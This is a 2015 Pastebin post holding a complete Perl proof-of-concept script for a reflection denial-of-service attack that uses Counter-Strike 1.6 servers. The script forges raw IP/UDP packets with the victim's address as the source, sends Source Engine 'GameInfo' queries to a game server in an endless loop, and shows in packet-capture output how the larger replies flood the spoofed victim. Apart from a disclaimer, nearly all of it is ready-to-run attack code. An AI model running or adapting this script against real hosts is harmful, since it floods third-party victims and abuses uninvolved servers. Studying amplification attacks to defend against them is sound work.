Advertisement
Tor

Counter-Strike 1.6 'GameInfo' Query Reflection DoS

Tor
Aug 4th, 2015
8,214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 6.72 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. #  Counter-Strike 1.6 'GameInfo' Query Reflection DoS
  4. #  Proof Of Concept
  5. #
  6. #  Copyright 2015 (c) Todor Donev
  7. #  todor.donev@gmail.com
  8. #  http://www.ethical-hacker.org/
  9. #  https://www.facebook.com/ethicalhackerorg
  10. #  http://pastebin.com/u/hackerscommunity
  11. #
  12. #
  13. #  Disclaimer:
  14. #  This or previous program is for Educational
  15. #  purpose ONLY. Do not use it without permission.
  16. #  The usual disclaimer applies, especially the
  17. #  fact that Todor Donev is not liable for any
  18. #  damages caused by direct or indirect use of the
  19. #  information or functionality provided by these
  20. #  programs. The author or any Internet provider
  21. #  bears NO responsibility for content or misuse
  22. #  of these programs or any derivatives thereof.
  23. #  By using these programs you accept the fact
  24. #  that any damage (dataloss, system crash,
  25. #  system compromise, etc.) caused by the use
  26. #  of these programs is not Todor Donev's
  27. #  responsibility.
  28. #
  29. #  Use at your own risk and educational
  30. #  purpose ONLY!
  31. #
  32. #  See also, UDP-based Amplification Attacks:
  33. #  https://www.us-cert.gov/ncas/alerts/TA14-017A
  34. #
  35. #  # perl cstrike-drdos-poc.pl 46.165.194.16 192.168.1.10 27010
  36. #  [ Counter-Strike 1.6 'GameInfo' query reflection dos poc
  37. #  [ Sending GameInfo requests: 46.165.194.16 -> 192.168.1.10  
  38. #  ^C
  39. #
  40. #  # tcpdump -i eth0 -c4 port 27010
  41. #  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
  42. #  listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
  43. #  00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25
  44. #  00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392
  45. #  00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25
  46. #  00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392
  47. #  4 packets captured
  48. #  4 packets received by filter
  49. #  0 packets dropped by kernel
  50.  
  51.  
  52. use strict;
  53. use Socket;
  54. use warnings;
  55. no warnings 'uninitialized';
  56.  
  57. print "[ Counter-Strike 1.6 \'GameInfo\' query reflection dos poc\n";
  58. die "[ Sorry, must be run as root. This script use RAW Socket.\n" if ($< != 0);
  59. my $css         = (gethostbyname($ARGV[0]))[4];         # IP Address Destination        (32 bits)
  60. my $victim      = (gethostbyname($ARGV[1]))[4];         # IP Address Source             (32 bits)
  61. my $port        = $ARGV[2] || '27015';                  # Int between 1 and 65535        Default: 27015
  62. die "[ Port must be between 1 and 65535!\n" if ($port < 1 || $port > 65535);
  63. if (!defined $css || !defined $victim) {
  64.     print "[ Usg: $0 <cstrike server> <victim> <port>\n";
  65.     print "[ Default port: 27015\n";
  66.     print "[ <todor.donev\@gmail.com> Todor Donev\n";
  67.     exit;
  68. }
  69.  
  70. print "[ Sending GameInfo requests: $ARGV[0] -> $ARGV[1]\n";
  71. socket(RAW, AF_INET, SOCK_RAW, 255)             || die $!;
  72. setsockopt(RAW, 0, 1, 1)                        || die $!;
  73. main();
  74.  
  75.     # Main program
  76. sub main {
  77.     my $packet;
  78.      
  79.     $packet = iphdr();
  80.     $packet .= udphdr();
  81.     $packet .= cshdr();
  82.     # b000000m...
  83.     send_packet($packet);
  84. }
  85.  
  86.     # IP header (Layer 3)
  87. sub iphdr {
  88.     my $ip_ver          = 4;                                    # IP Version 4                  (4 bits)
  89.     my $iphdr_len       = 5;                                    # IP Header Length              (4 bits)
  90.     my $ip_tos          = 0;                                    # Differentiated Services       (8 bits)
  91.     my $ip_total_len    = $iphdr_len + 20;                      # IP Header Length + Data      (16 bits)
  92.     my $ip_frag_id      = 0;                                    # Identification Field         (16 bits)
  93.     my $ip_frag_flag    = 000;                                  # IP Frag Flags (R DF MF)       (3 bits)
  94.     my $ip_frag_offset  = 0000000000000;                        # IP Fragment Offset           (13 bits)
  95.     my $ip_ttl          = 255;                                  # IP TTL                        (8 bits)
  96.     my $ip_proto        = 17;                                   # IP Protocol                   (8 bits)
  97.     my $ip_checksum     = 0;                                    # IP Checksum                  (16 bits)
  98.  
  99.     # IP Packet
  100.     my $iphdr       = pack(
  101.                         'H2 H2 n n B16 h2 c n a4 a4',
  102.                         $ip_ver . $iphdr_len, $ip_tos,
  103.                         $ip_total_len, $ip_frag_id,
  104.                         $ip_frag_flag . $ip_frag_offset,
  105.                         $ip_ttl, $ip_proto, $ip_checksum,
  106.                         $victim, $css
  107.                         );
  108.                         return $iphdr;
  109. }
  110.  
  111.     # UDP Header (Layer 4)
  112. sub udphdr {
  113.     my $udp_src_port    = 31337;                        # UDP Sort Port         (16 bits) (0-65535)
  114.     my $udp_dst_port    = $port;                        # UDP Dest Port         (16 btis) (0-65535)
  115.     my $udp_len     = 8 + length(cshdr());          # UDP Length            (16 bits) (0-65535)
  116.     my $udp_checksum    = 0;                            # UDP Checksum          (16 bits) (XOR of header)
  117.  
  118.     # UDP Packet
  119.     my $udphdr      = pack(
  120.             'n n n n',
  121.             $udp_src_port,
  122.             $udp_dst_port,
  123.             $udp_len,
  124.             $udp_checksum
  125.             );
  126.     return $udphdr;
  127. }
  128.  
  129.    # Counter-Strike 'GameInfo' request
  130. sub cshdr {
  131.  
  132. #
  133. # https://developer.valvesoftware.com/wiki/Server_queries
  134. #
  135. # https://developer.valvesoftware.com/wiki/Source_RCON_Protocol
  136. # Requests
  137. # The server responds to 5 queries:
  138. #
  139. #          A2S_INFO   'T' (0x54)
  140. #    Basic information about the server.
  141. #          A2S_PLAYER 'U' (0x55)  
  142. #    Details about each player on the server.
  143. #          A2S_RULES  'V' (0x56)
  144. #    The rules the server is using.
  145. #          A2A_PING   'i' (0x69)
  146. #    Ping the server. (DEPRECATED)
  147. # A2S_SERVERQUERY_GETCHALLENGE  'W' (0x57)
  148. #    Returns a challenge number for use in the player and rules query. (DEPRECATED)
  149. #
  150. # Queries should be sent in UDP packets to the listen port of the server.
  151. #
  152.  
  153. # 25 bytes - A2S_INFO
  154.     my $query            = "\xff\xff\xff\xff\x54";      # 0000   ff ff ff ff 54 53 6f 75 72 63 65 20 45 6e 67 69  ....TSource Engi
  155.        $query           .= "\x53\x6f\x75\x72\x63";      # 0010   6e 65 20 51 75 65 72 79 00                       ne Query.
  156.        $query           .= "\x65\x20\x45\x6e\x67";  
  157.        $query           .= "\x69\x6e\x65\x20\x51";  
  158.        $query           .= "\x75\x65\x72\x79\x00";  
  159.  
  160.     my $cshdr            = pack('a*', $query);
  161. return $cshdr;
  162. }
  163.  
  164. sub send_packet {
  165.     while(1){
  166.     select(undef, undef, undef, 0.40);                  # Sleep 400 milliseconds
  167.     send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $css))  || die $!;
  168.    }
  169. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement